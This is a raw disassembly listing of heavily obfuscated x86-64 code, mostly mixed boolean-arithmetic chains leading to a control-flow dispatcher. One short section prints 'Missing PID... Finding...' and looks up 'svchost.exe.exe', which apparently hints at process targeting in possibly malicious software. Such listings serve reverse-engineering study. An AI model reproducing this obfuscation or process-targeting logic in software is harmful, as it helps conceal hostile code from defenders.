not r11d
or r11d, edi
xor edx, 0x6d182f6f
and edx, r8d
or ebp, edx
mov r9d, ebp
xor r9d, r8d
and r9d, ebp
mov ebp, r9d
not ebp
mov eax, r11d
xor eax, 0xda394fa6
and eax, r11d
mov ecx, r11d
or ecx, 0x25c6b059
mov edx, ecx
not edx
mov edi, eax
not edi
mov esi, edi
and esi, 0x6380a66f
and eax, 0x9c7f5990
or eax, esi
mov ebx, r9d
xor ebx, 0x25c6b059
and ebx, ebp
or edi, ecx
and ecx, 0x6380a66f
and edx, 0x98394980
or edx, ecx
mov ecx, ebp
or ecx, 0x25c6b059
xor edx, eax
not edi
or edi, edx
mov r14d, ebx
not r14d
mov eax, r14d
and eax, 0x49f909f9
and ebx, 0xb606f606
or ebx, eax
mov edx, ecx
not edx
or r14d, ecx
and ecx, 0x49f909f9
and edx, 0x92004606
or edx, ecx
xor edx, ebx
mov esi, r10d
xor esi, 0xea1f8717
and esi, r10d
mov ecx, r10d
not r14d
or r14d, edx
mov eax, edi
not eax
and eax, 0xd75ef56e
and edi, 0x28a10a91
or edi, eax
mov eax, r14d
not eax
and eax, 0xd75ef56e
and r14d, 0x28a10a91
or r14d, eax
mov edx, r11d
not edx
xor r14d, edi
mov eax, edx
and eax, 0x3b0a7ff1
and r11d, 0xc4f5800e
or r11d, eax
mov r10d, dword [0x1400986a8]
or edx, r9d
and r9d, 0x3b0a7ff1
and ebp, 0xc4f5800e
or ebp, r9d
xor ebp, r11d
not edx
or edx, ebp
mov eax, edx
not eax
and eax, 0x76177541
and edx, 0x89e88abe
or edx, eax
mov ebp, edx
xor ebp, 0x680a24
mov eax, r14d
not eax
xor edx, 0x76177541
mov edi, eax
and edi, 0xad95c4da
and r14d, 0x526a3b25
or r14d, edi
or eax, edx
and edx, 0xad95c4da
and ebp, 0x526a3b25
or ebp, edx
xor ebp, r14d
not eax
or eax, ebp
and r8d, 0xbde9421a
and ecx, 0x4216bde5
or ecx, r8d
mov edx, ecx
xor edx, 0x40028000
xor ecx, 0xa8090212
or ecx, 0x15e078e8
mov ebx, esi
not ebx
mov ebp, ecx
and ebp, 0x21465fd
and edx, 0xe80b8202
or edx, ebp
or ecx, ebx
and ebx, 0x21465fd
and esi, 0xfdeb9a02
or esi, ebx
xor esi, edx
not ecx
or ecx, esi
mov edx, ecx
not edx
and edx, 0x763ba87a
and ecx, 0x89c45785
or ecx, edx
xor ecx, 0x9c242f6d
mov edx, ecx
or edx, eax
xor ecx, eax
not ecx
and ecx, eax
not eax
mov ebp, edx
not ebp
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x47c063c1
and ebp, 0xb83f9c3e
or ebp, edi
or edx, ebx
and ebx, 0x47c063c1
and ecx, 0xb83f9c3e
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
not edx
mov ecx, edx
and ecx, eax
xor edx, eax
or edx, ecx
cmp edx, 0xffffffff
setne r11b
sete r13b
mov byte [rsp + 0x30], r13b
cmp r10d, 9
setg al
cmp r10d, 0xa
setl dil
mov r15d, edi
xor r15b, al
mov r9d, eax
mov byte [rsp + 0x2c], al
mov esi, r15d
xor sil, 1
mov r14d, esi
and r14b, r15b
mov ecx, esi
xor cl, r14b
xor r14b, 1
or r14b, r15b
xor r14b, 1
or r14b, cl
mov r8d, r14d
xor r8b, 1
mov ecx, r8d
or cl, r14b
mov r10d, ecx
xor r10b, 1
mov edx, r10d
and dl, cl
mov eax, r14d
and al, r8b
mov ebp, edx
and bpl, r10b
xor dl, r10b
or dl, bpl
xor al, 1
mov r10d, eax
xor r10b, r8b
or al, r8b
xor al, 1
or al, r10b
mov r10d, edx
xor r10b, 1
and r10b, al
xor al, 1
and al, dl
or al, r10b
mov edx, ecx
and dl, r8b
xor cl, r8b
or cl, dl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov ebx, edi
xor bl, cl
mov eax, ebx
and al, dil
and bl, cl
xor al, 1
xor bl, 1
mov ecx, eax
xor cl, bl
or bl, al
xor bl, 1
or bl, cl
or r14b, dil
xor r14b, 1
xor r8b, r9b
mov eax, r14d
and al, r8b
xor r8b, r14b
or r8b, al
mov eax, r8d
xor al, 1
and al, r8b
xor al, 1
mov ecx, r8d
xor cl, al
or al, r8b
xor al, 1
or al, cl
mov edx, ebx
xor dl, 1
mov r8d, eax
xor r8b, 1
and dl, bl
mov ecx, r8d
and cl, al
xor dl, 1
mov r10d, ebx
xor r10b, dl
or dl, bl
xor dl, 1
or dl, r10b
mov r10d, r8d
and r10b, cl
xor cl, r8b
or cl, r10b
mov r8d, edx
xor r8b, 1
and r8b, cl
xor cl, 1
and cl, dl
or cl, r8b
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ebp, eax
xor bpl, 1
mov ecx, ebp
or cl, al
xor bpl, cl
or cl, al
xor cl, 1
xor bpl, 1
mov eax, ecx
and al, bpl
xor bpl, cl
or bpl, al
mov ebx, ebp
xor bl, 1
mov byte [rsp + 0x24], bl
mov edx, ebx
or dl, bpl
mov eax, edx
xor al, 1
mov ecx, ebx
xor cl, dl
and cl, bl
and al, bpl
and dl, bl
or dl, al
xor cl, 1
xor dl, 1
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov ebx, eax
and bl, dl
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov r8d, ebx
xor r8b, 1
mov ecx, ebx
xor cl, r8b
and cl, bl
or al, dl
mov r14d, eax
xor r14b, 1
mov edx, ecx
xor dl, al
and dl, cl
and al, cl
xor cl, 1
and cl, r14b
or al, cl
xor dl, 1
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov edx, eax
xor dl, bl
and dl, al
and cl, r8b
and al, bl
or al, cl
xor dl, 1
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov edx, eax
xor dl, 1
mov ecx, edx
and cl, al
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor cl, 1
or dl, al
mov eax, ecx
or al, dl
xor dl, cl
mov ecx, eax
xor cl, dl
xor dl, 1
xor cl, 1
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
and dl, al
mov ecx, edx
and cl, al
xor dl, al
or dl, cl
mov eax, edx
xor al, 1
mov r9d, eax
and r9b, dl
xor al, r9b
xor r9b, 1
or r9b, dl
xor r9b, 1
or r9b, al
mov r10d, r9d
xor r10b, 1
xor r13b, r11b
mov r14d, r13d
xor r14b, 1
or r13b, r14b
mov r8d, r13d
xor r8b, 1
mov r12d, r13d
or r12b, r8b
mov eax, r12d
xor al, 1
mov ebx, r8d
and bl, r13b
mov ecx, ebx
and cl, r8b
xor bl, r8b
or bl, cl
mov ecx, ebx
xor cl, 1
and cl, al
and bl, r12b
or bl, cl
xor r12b, r13b
or al, r8b
xor al, 1
or al, r12b
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov r12d, eax
xor r12b, 1
mov ecx, r12d
and cl, al
mov ebx, ecx
and bl, r12b
xor cl, r12b
or cl, bl
xor cl, 1
or r12b, al
mov eax, ecx
xor al, r12b
or r12b, cl
xor r12b, 1
or r12b, al
mov eax, r12d
xor al, 1
and r12b, al
mov ecx, eax
and cl, r12b
xor r12b, al
or r12b, cl
mov eax, r14d
and al, r11b
xor r14b, r11b
or r14b, al
mov eax, r10d
and al, r9b
mov ecx, r10d
and cl, al
xor al, r10b
or al, cl
mov ecx, eax
xor cl, 1
mov r13d, r10d
or r13b, r9b
mov ebx, eax
and bl, cl
mov r8d, ebx
and r8b, al
xor bl, al
or bl, r8b
xor bl, r13b
mov eax, ecx
and al, r13b
xor r13b, cl
or r13b, al
mov eax, ebx
xor al, r13b
or r13b, bl
xor r13b, 1
or r13b, al
mov r8d, r13d
xor r8b, 1
mov ebx, r13d
and bl, r8b
mov ecx, ebx
xor cl, 1
mov eax, r13d
xor al, bl
or cl, r8b
xor cl, 1
or cl, al
xor cl, 1
mov eax, ecx
xor al, r13b
or cl, r13b
xor cl, 1
or cl, al
mov edx, ecx
xor dl, 1
mov eax, edx
and al, cl
xor dl, al
xor al, 1
or al, cl
xor al, 1
or al, dl
xor al, 1
mov ecx, eax
and cl, r10b
xor r10b, al
or r10b, cl
mov ecx, eax
xor cl, r9b
xor cl, 1
and cl, r9b
or al, r9b
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
xor al, 1
mov ecx, r10d
or cl, al
xor cl, 1
xor al, r10b
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, edi
xor cl, r15b
and cl, dil
movzx r10d, byte [rsp + 0x2c]
and sil, r10b
and r15b, dil
or r15b, sil
mov edx, ecx
and dl, r15b
xor r15b, cl
or r15b, dl
mov esi, eax
xor sil, 1
mov ecx, r15d
xor cl, 1
or sil, al
mov edx, eax
xor dl, sil
or sil, al
mov eax, r15d
or al, cl
xor sil, 1
or sil, dl
and cl, r15b
mov edx, r15d
and dl, cl
xor cl, r15b
or cl, dl
xor cl, al
mov edx, r15d
and dl, al
xor al, r15b
or al, dl
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, esi
xor al, 1
and sil, al
mov edx, eax
and dl, sil
xor sil, al
mov r15d, ecx
xor r15b, 1
and r15b, cl
or sil, dl
xor r15b, 1
mov eax, ecx
xor al, r15b
or r15b, cl
xor r15b, 1
or r15b, al
xor r15b, sil
mov eax, r8d
and al, bl
xor bl, r8b
or bl, al
mov edx, ebx
xor dl, 1
mov eax, ebx
or al, dl
mov r9d, eax
xor r9b, 1
xor r8b, r13b
and r8b, r13b
mov ecx, r8d
xor cl, 1
and r8b, al
or al, cl
and cl, r9b
mov r13d, r14d
or cl, r8b
xor cl, 1
mov r8d, eax
xor r8b, cl
or cl, al
xor cl, 1
or cl, r8b
mov eax, ecx
xor al, 1
and cl, al
mov r8d, eax
and r8b, cl
xor cl, al
mov esi, r15d
xor sil, 1
or cl, r8b
xor cl, dil
mov r8d, ecx
xor r8b, 1
and dil, dl
mov eax, r10d
or dl, r10b
xor dl, 1
and bl, r10b
or bl, dil
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov r9d, ebx
xor r9b, 1
and cl, r8b
mov eax, r9d
and al, bl
xor cl, 1
mov edx, ecx
xor dl, r8b
or cl, r8b
xor cl, 1
or cl, dl
mov edx, eax
xor dl, 1
xor al, r9b
or dl, bl
xor dl, 1
or dl, al
mov eax, ecx
xor al, 1
and al, dl
xor dl, 1
and dl, cl
or dl, al
mov eax, r8d
and al, bl
xor bl, r8b
or bl, al
xor dl, 1
mov eax, edx
xor al, bl
or dl, bl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov ebx, eax
and bl, dl
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov ecx, ebx
xor cl, 1
or al, dl
mov edx, eax
xor dl, 1
and dl, cl
or cl, al
xor cl, 1
and al, bl
or al, dl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ebx, eax
xor bl, 1
mov r8d, esi
and r8b, r15b
xor r8b, 1
mov ecx, r15d
xor cl, r8b
or r8b, r15b
xor r8b, 1
or r8b, cl
and al, bl
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, eax
xor cl, 1
mov r10d, ecx
and r10b, al
mov r9d, ecx
xor r9b, r10b
xor r10b, 1
or r10b, al
xor r10b, 1
or r10b, r9b
or cl, al
xor cl, 1
xor bl, cl
and cl, bl
mov edx, ebx
xor dl, cl
xor cl, 1
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, r12d
mov edi, r14d
and dil, r12b
xor r14b, r12b
xor r12b, 1
xor r13b, 1
xor r10b, r8b
and sil, cl
xor cl, 1
and cl, r15b
or cl, sil
xor r10b, 1
mov ebx, r8d
xor bl, al
or al, r8b
xor al, 1
or al, bl
xor al, 1
mov ebx, r10d
and bl, al
xor al, r10b
or al, bl
mov r8d, eax
xor r8b, 1
mov ebx, r8d
and bl, al
xor r8b, bl
xor bl, 1
or bl, al
xor bl, 1
or bl, r8b
xor bl, cl
mov r9d, ebx
xor r9b, 1
and r9b, cl
mov eax, r9d
and al, bl
xor r9b, bl
or r9b, al
or dl, r13b
mov eax, r12d
and al, r13b
or r14b, dil
or dil, al
xor dil, 1
mov ecx, edx
xor cl, dil
or dil, dl
xor dil, 1
or dil, cl
mov ecx, r14d
xor cl, 1
xor r13b, r12b
or r13b, al
mov eax, r13d
xor al, 1
and al, r14b
or r14b, r13b
and r13b, cl
or r13b, al
mov eax, r14d
xor al, r13b
xor r13b, 1
xor al, 1
or r13b, r14b
xor r13b, 1
or r13b, al
mov r15d, r13d
xor r15b, 1
mov edx, r15d
and dl, r13b
mov esi, edx
xor sil, 1
mov r10d, r15d
xor r10b, dl
or sil, r13b
xor sil, 1
or sil, r10b
mov r14d, esi
xor r14b, 1
mov ebx, esi
or bl, r14b
mov eax, ebx
xor al, 1
mov ecx, ebx
and cl, al
mov r8d, ebx
xor r8b, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, r8b
mov r8d, edi
xor r8b, 1
and dl, r15b
or dl, r10b
mov r10d, r8d
xor r10b, dil
and r10b, r8b
xor dl, cl
mov eax, ebx
and al, r15b
xor bl, r15b
or bl, al
mov eax, ebx
xor al, dl
xor dl, 1
xor al, 1
or dl, bl
xor dl, 1
or dl, al
mov eax, r10d
xor al, 1
and r10b, al
mov ecx, edx
xor cl, 1
mov ebx, eax
and bl, r10b
xor r10b, al
mov eax, ecx
and al, dl
or r10b, bl
xor cl, al
xor al, 1
or al, dl
xor al, 1
or al, cl
xor al, r10b
mov ecx, edi
xor cl, r14b
and cl, dil
and sil, r8b
and r14b, dil
or r14b, sil
mov edx, ecx
and dl, r14b
xor r14b, cl
or r14b, dl
mov ecx, r14d
mov edx, eax
xor dl, r14b
and dl, al
and r14b, al
xor al, 1
xor cl, 1
and cl, al
or r14b, cl
xor dl, 1
xor r14b, 1
mov eax, edx
xor al, r14b
or r14b, dl
xor r14b, 1
or r14b, al
mov r8d, r9d
xor r8b, 1
mov r10d, r9d
and r10b, r8b
mov ecx, r9d
and cl, r10b
mov edx, r9d
xor dl, r10b
or dl, cl
mov ecx, edx
xor cl, 1
mov ebx, edx
and bl, cl
xor dl, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, dl
mov esi, r14d
xor sil, 1
mov edx, esi
and dl, r14b
mov ecx, esi
and cl, dl
xor dl, sil
or dl, cl
mov ecx, edx
xor cl, 1
and cl, dl
xor cl, 1
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
and cl, bl
mov edi, edx
xor dil, bl
or dl, bl
xor bl, 1
xor al, 1
and al, bl
or cl, al
xor dl, 1
or dl, dil
xor dl, 1
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
or r14b, sil
xor r14b, sil
mov eax, r14d
xor al, 1
and r14b, sil
mov ecx, r14d
and cl, al
xor r14b, al
xor dl, 1
or r14b, cl
xor r8b, r10b
xor r10b, 1
or r10b, r9b
xor r10b, 1
or r10b, r8b
mov eax, r14d
xor al, 1
and r14b, al
mov ecx, eax
and cl, r14b
xor r14b, al
or r14b, cl
mov ebx, r14d
xor bl, 1
mov eax, r10d
xor al, 1
and r14b, al
or al, bl
xor al, 1
and bl, r10b
or bl, r14b
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov ecx, ebx
xor cl, 1
mov eax, edx
or al, cl
xor al, 1
xor cl, dl
or al, cl
mov r9d, eax
xor r9b, 1
or bl, dl
xor bl, 1
and cl, dl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, 1
mov r8d, edx
and r8b, cl
xor r8b, 1
mov ebx, ecx
xor bl, r8b
or r8b, cl
xor r8b, 1
or r8b, bl
and r9b, r8b
xor r8b, 1
and r8b, al
or r8b, r9b
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov eax, edx
xor al, r8b
xor r8b, 1
xor al, 1
or r8b, dl
xor r8b, 1
or r8b, al
mov ecx, ebp
movzx r10d, byte [rsp + 0x24]
and cl, r10b
mov eax, ecx
xor al, 1
mov edx, ebp
xor dl, al
or al, bpl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and dl, al
mov ebx, edx
xor bl, 1
mov eax, edx
and al, bl
mov r9d, eax
and r9b, dl
xor al, dl
or al, r9b
mov edx, ecx
and dl, bpl
xor cl, bpl
or cl, dl
xor al, cl
mov r9d, ebx
mov edx, r10d
and r9b, r10b
xor bl, r10b
or bl, r9b
mov edx, ebx
xor dl, al
xor al, 1
xor dl, 1
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ebx, edx
and bl, al
xor dl, bl
xor bl, 1
or bl, al
xor bl, 1
or bl, dl
mov r9d, ebx
xor r9b, 1
mov eax, ecx
xor al, 1
xor cl, r10b
or al, bpl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
and cl, r9b
mov edx, ebx
and dl, al
or dl, cl
mov ecx, edx
xor cl, r9b
and cl, dl
xor al, r9b
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
xor al, 1
mov ecx, eax
xor cl, r11b
xor cl, 1
or cl, r11b
mov edx, eax
movzx r10d, byte [rsp + 0x30]
and dl, r10b
xor al, r10b
or al, dl
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
mov ecx, eax
and cl, dl
xor al, dl
or al, cl
xor r11b, bl
xor r11b, 1
or r11b, r9b
mov ecx, r10d
xor cl, bl
and r10b, cl
and cl, bl
mov edx, r10d
xor dl, 1
xor r10b, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, r10b
mov edx, ecx
and cl, r11b
xor r11b, 1
xor dl, 1
mov ebx, r11d
xor bl, dl
and bl, r11b
and dl, r11b
or dl, cl
xor bl, 1
xor dl, 1
mov ecx, ebx
xor cl, dl
or dl, bl
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
mov ebx, edx
and bl, cl
mov r9d, ebx
and r9b, dl
xor bl, dl
or bl, r9b
xor bl, 1
or cl, dl
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov r9d, ecx
xor r9b, 1
mov edx, ecx
and dl, r9b
mov ebx, edx
xor bl, 1
xor dl, r9b
or bl, cl
xor bl, 1
or bl, dl
mov r9d, ebx
xor r9b, 1
mov edx, eax
xor dl, 1
mov ecx, ebx
and cl, dl
or bl, al
and al, r9b
or al, cl
xor al, 1
or al, dl
mov r10d, eax
xor r10b, 1
or dl, r9b
mov ecx, ebx
xor cl, dl
or dl, bl
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
mov r9d, r10d
and r9b, al
mov r11d, edx
and r11b, cl
mov ebx, r9d
xor bl, 1
xor r9b, r10b
or bl, al
xor bl, 1
or bl, r9b
mov r9d, r11d
and r9b, dl
xor r11b, dl
or r11b, r9b
xor r11b, bl
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
xor cl, 1
mov eax, r11d
and al, cl
xor cl, r11b
or cl, al
mov edx, ecx
xor dl, 1
mov r10d, ecx
xor r10b, dl
or dl, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or bl, dl
xor dl, 1
mov r9d, edx
xor r9b, bl
or dl, bl
xor dl, 1
or dl, r9b
mov eax, edx
xor al, 1
mov ebx, eax
and bl, dl
xor al, bl
xor bl, 1
or bl, dl
xor bl, 1
or bl, al
mov edx, ebx
xor dl, 1
or r10b, cl
mov eax, ebx
xor al, r10b
xor r10b, 1
mov ecx, r10d
xor cl, dl
or dl, r10b
xor dl, 1
or dl, al
and cl, r10b
or r10b, bl
xor cl, 1
mov eax, ecx
xor al, r10b
or cl, r10b
xor cl, 1
or cl, al
mov eax, edx
xor al, cl
xor cl, 1
or cl, dl
xor cl, 1
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
or al, cl
xor al, 1
xor cl, al
and al, cl
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov r9d, ecx
xor r9b, 1
mov edx, ecx
xor dl, r9b
or r9b, cl
xor r9b, 1
or r9b, dl
and dl, cl
mov ecx, edx
xor cl, 1
mov ebx, edx
and bl, cl
xor bl, 1
mov eax, ebx
xor al, cl
or bl, cl
xor bl, 1
or bl, al
or cl, dl
mov eax, ecx
xor al, bl
xor bl, 1
xor al, 1
or bl, cl
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
mov edx, eax
and dl, bl
xor al, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, al
mov ebx, edx
xor bl, 1
mov eax, ebx
mov ecx, r9d
mov r10d, r9d
mov r11d, ebx
and r11b, r9b
xor bl, r9b
xor r9b, 1
and al, dl
and cl, r9b
xor al, 1
mov esi, edx
xor sil, al
or al, dl
xor al, 1
or al, sil
xor r10b, cl
xor cl, 1
or cl, r9b
xor cl, 1
or cl, r10b
xor cl, al
or bl, r11b
xor cl, 1
mov eax, ecx
xor al, bl
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
or cl, al
xor cl, al
mov edx, ecx
xor dl, 1
and cl, al
mov eax, ecx
and al, dl
xor cl, dl
or cl, al
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
xor al, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov ebx, edx
and bl, al
mov ecx, ebx
xor cl, 1
xor bl, dl
or cl, al
xor cl, 1
or cl, bl
xor cl, 1
or al, dl
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
mov ebx, ecx
and bl, al
xor cl, bl
xor bl, 1
or bl, al
xor bl, 1
or bl, cl
mov r10d, r8d
xor r10b, 1
mov edx, ebx
xor dl, 1
mov r11d, r10d
and r11b, r8b
mov r9d, r8d
mov eax, r10d
or al, dl
xor r8b, dl
or r8b, dl
and dl, bl
mov ecx, r11d
and cl, r10b
xor r11b, r10b
or r11b, cl
xor dl, 1
mov ecx, edx
xor cl, bl
or dl, bl
xor dl, 1
or dl, cl
mov ecx, r11d
xor cl, 1
and cl, dl
xor dl, 1
and dl, r11b
or dl, cl
xor r9b, bl
xor al, 1
or al, r9b
mov ecx, eax
xor cl, dl
xor dl, 1
xor cl, 1
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
and dl, al
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov esi, edx
xor sil, 1
mov ecx, r10d
and cl, bl
xor r10b, bl
or r10b, cl
mov ecx, r10d
xor cl, 1
and cl, r8b
xor r8b, 1
mov ebx, r8d
xor bl, r10b
and bl, r8b
and r10b, r8b
or r10b, cl
xor bl, 1
xor r10b, 1
mov ecx, ebx
xor cl, r10b
or r10b, bl
xor r10b, 1
or r10b, cl
mov r9d, esi
and r9b, dl
xor r9b, 1
mov ecx, edx
xor cl, r9b
or r9b, dl
xor r9b, 1
or r9b, cl
mov ecx, r10d
xor cl, 1
mov r8d, r9d
xor r8b, 1
mov ebx, r9d
xor bl, r8b
and bl, r9b
or sil, dl
mov r11d, esi
xor r11b, 1
mov edx, ecx
xor dl, r10b
and dl, cl
mov eax, ebx
xor al, sil
and al, bl
and sil, bl
xor bl, 1
and bl, r11b
mov r11d, ecx
or r11b, r10b
or sil, bl
mov ebx, eax
and bl, sil
xor sil, al
or sil, bl
xor dl, 1
mov eax, edx
or al, r11b
xor al, 1
xor dl, r11b
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov r11d, edx
xor r11b, 1
mov ebx, edx
and bl, r11b
mov eax, ebx
xor bl, dl
xor al, 1
or al, r11b
xor al, 1
or al, bl
mov edx, esi
xor dl, 1
and dl, al
xor al, 1
and al, sil
or al, dl
mov edx, r8d
and dl, r9b
mov ebx, r8d
and bl, dl
xor dl, r8b
or dl, bl
mov ebx, r10d
and bl, cl
xor r8b, r10b
xor r10b, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, r10b
xor bl, dl
or cl, r9b
xor cl, 1
or cl, r8b
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov r8d, edx
xor r8b, 1
mov ecx, edx
and cl, r8b
mov ebx, ecx
xor cl, dl
xor bl, 1
or bl, r8b
xor bl, 1
or bl, cl
mov ecx, ebx
xor bl, 1
and bl, al
xor al, 1
and cl, al
or bl, cl
mov ecx, eax
and cl, r8b
xor al, r8b
or al, cl
mov edx, eax
xor dl, bl
test al, 1
mov ecx, 0x1a167fec
mov eax, 0xc8852050
cmovne ecx, eax
test bl, 1
cmove ecx, eax
test dl, 1
mov eax, 0x1a167fec
cmove ecx, eax
jmp 0x140053140
cmp eax, 0x830066c6
je 0x14006024b
mov ecx, eax
cmp eax, 0xa79f9cd3
jne 0x140053140
lea rcx, str.____Missing_PID..._Finding...
call sub.api_ms_win_crt_stdio_l1_1_0.dll_puts
lea rcx, str.svchost.exe.exe
call fcn.14002dc40
mov ecx, dword [0x1400986ac]
mov r8d, dword [0x1400986a8]
lea r14d, [rcx - 1]
imul r14d, ecx
mov r11d, r14d
not r11d
mov ebx, r11d
and ebx, r14d
mov ecx, r11d
and ecx, ebx
xor ebx, r11d
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0x6b47bec4
xor ebx, 0x94b8413b
or ebx, ecx
mov ecx, r11d
and ecx, 0x94b8413b
mov edx, r14d
and edx, 0x6b47bec4
or edx, ecx
mov ecx, edx
xor ecx, r11d
and ecx, edx
mov ebp, ecx
mov edx, ecx
xor edx, 0x8d9be396
and edx, ecx
not ecx
and ecx, 0x2670166
and ebp, 0xfd98fe99
or ebp, ecx
mov edi, ebp
xor edi, 0xfd98fe99
mov r9d, ebx
mov ecx, ebx
xor ebp, 0x8ffce2f0
and ebp, edi
mov r10d, ebx
and r10d, edi
xor edi, ebx
not ebx
and r9d, 0x8d9be396
xor ecx, 0x72641c69
and ecx, ebx
mov ebx, r9d
and ebx, ecx
xor ecx, r9d
or ecx, ebx
mov esi, ebp
and esi, edx
xor edx, ebp
or edx, esi
mov ebp, ecx
not ebp
and ebp, 0xf6bf2fbe
and ecx, 0x940d041
or ecx, ebp
mov ebp, edx
not ebp
and ebp, 0xf6bf2fbe
and edx, 0x940d041
or edx, ebp
xor edx, ecx
or edi, r10d
mov ecx, edi
not ecx
and ecx, 0xf3ac6b76
and edi, 0xc539489
or edi, ecx
mov ecx, edi
xor ecx, 0x8510480
mov ebp, edx
not ebp
xor edi, 0xf3ac6b76
mov ebx, ebp
and ebx, 0x4526f26d
and edx, 0xbad90d92
or edx, ebx
or ebp, edi
and edi, 0x4526f26d
and ecx, 0xbad90d92
or ecx, edi
xor ecx, edx
not ebp
or ebp, ecx
mov edx, ebp
mov ecx, ebp
xor ecx, 0xa1d53836
and ecx, ebp
not ebp
and ebp, 0xa0d01020
and edx, 0x1052816
or edx, ebp
xor edx, 0x1052816
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xca9286f2
and ecx, 0x356d790d
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
xor ebp, 0xa5db3a2
and ebp, ecx
or ecx, 0xf5a24c5d
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0x3df9d6d6
and edx, 0x2042120
or edx, edi
or ecx, ebx
and ebx, 0x3df9d6d6
and ebp, 0xc2062929
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x1e7d1347
and ecx, 0xe182ecb8
or ecx, edx
mov edx, ecx
xor edx, 0xebdf5f1a
xor ecx, 0x1420a0e5
and edx, ecx
mov ebp, edx
and ebp, ecx
xor edx, ecx
or edx, ebp
mov r15d, edx
not r15d
and edx, 0x21386204
and r15d, 0xdec79dfb
or r15d, edx
mov r10d, r15d
xor r10d, 0x21386204
mov r9d, r15d
xor r9d, 0xdec79dfb
mov ecx, r11d
and ecx, 0xcd613139
mov edx, r14d
and edx, 0x329ecec6
or edx, ecx
mov ecx, edx
xor ecx, 0x84444
xor edx, 0x80611011
mov edi, r11d
or edi, 0x916bf77d
mov r13d, edi
not r13d
or edx, 0x66940800
and edx, 0xf6f79a11
and ecx, 0x108656c
or ecx, edx
and edi, 0xf6f79a11
and r13d, 0x8000082
or r13d, edi
xor r13d, ecx
mov ecx, r13d
not ecx
and ecx, 0xc1e531c8
and r13d, 0x3e1ace37
or r13d, ecx
mov ecx, r13d
xor ecx, 0xaf71394a
and r11d, 0x5b0ca0f1
and r14d, 0xa4f35f0e
or r14d, r11d
mov edx, r14d
xor edx, 0xa4f35f0e
xor r13d, 0x508ec6b5
and edx, r13d
xor r14d, 0x5b0ca0f1
and r14d, ecx
or r14d, edx
xor r13d, r14d
and r13d, r14d
mov ecx, r10d
and ecx, 0x180080a1
mov edx, r9d
and edx, 0x81080908
or edx, ecx
xor edx, 0x81080908
xor r15d, 0x47cf1452
and r15d, r9d
mov ecx, edx
and ecx, r15d
